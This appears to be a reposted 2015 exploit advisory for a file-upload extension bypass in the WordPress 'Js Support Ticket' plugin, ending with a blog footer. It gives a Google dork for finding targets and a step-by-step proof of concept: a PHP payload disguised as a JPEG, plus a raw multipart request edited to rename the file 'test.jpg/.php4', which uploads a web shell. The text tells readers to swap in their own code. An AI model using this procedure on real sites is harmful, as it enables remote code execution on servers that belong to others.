Wordpress "Js Support Ticket" File Upload Bypass Extensions




#-Title: Wordpress "Js Support Ticket" File Upload Bypass Extensions
#-Author: Mgm-Eg
#-Contact : ask.fm/m1g1m
#-Date: 2015-12-05
#-Link Download : wordpress. org/plugins/js-support-ticket/
#-Google Dork: inurl:wp-content/plugins/js-support-ticket/
#-Tested on : Windows, Linux
#-Fixed in : ??

////////////////////////////////////////////////////////////////////////////////////////////

Description : 
When you open ticket you can upload Attachments only file Extenssion Type :
Doc, Docx, odt, pdf, txt, png, jpeg, jpg
But you can bypass it and upload another extensions


Solution:
Upgrade to New version

-- Proof Of Concept --

1. Use Notepad++ open new file ,

Add
[ GIF89a;


<?php phpinfo(); ?> #you can replace this code to your code

]

2. " save file as test.jpg "
3. Open ticket page and Complete the required fields , and upload your [test.jpg]




Use Http Live Header , Open the request and edit file name from "test.jpg" to "test.jpg/.php4" and delete "GIF89a;"

example :
-----------------------------319722301512393rn
Content-Disposition: form-data; name="filename[]"; filename="test.jpg/.php4"rn
Content-Type: image/jpegrn
rn
rn
<?php phpinfo(); ?>rn
-----------------------------319722301512393rn




Shell Path :

*Note 
also check your email to know your path file , or open my tickets to see all tickets you have sent to know your path file .
Saya tidak meminta satu rupiah pun dari anda, Tolong hargai Copyright konten yang ditulis oleh Admin, Jika ingin Copy-Paste tolong sertakan link sumber. Terimakasih :)
Open My Youtube Channel
Previous
Next Post »
Thanks for your comment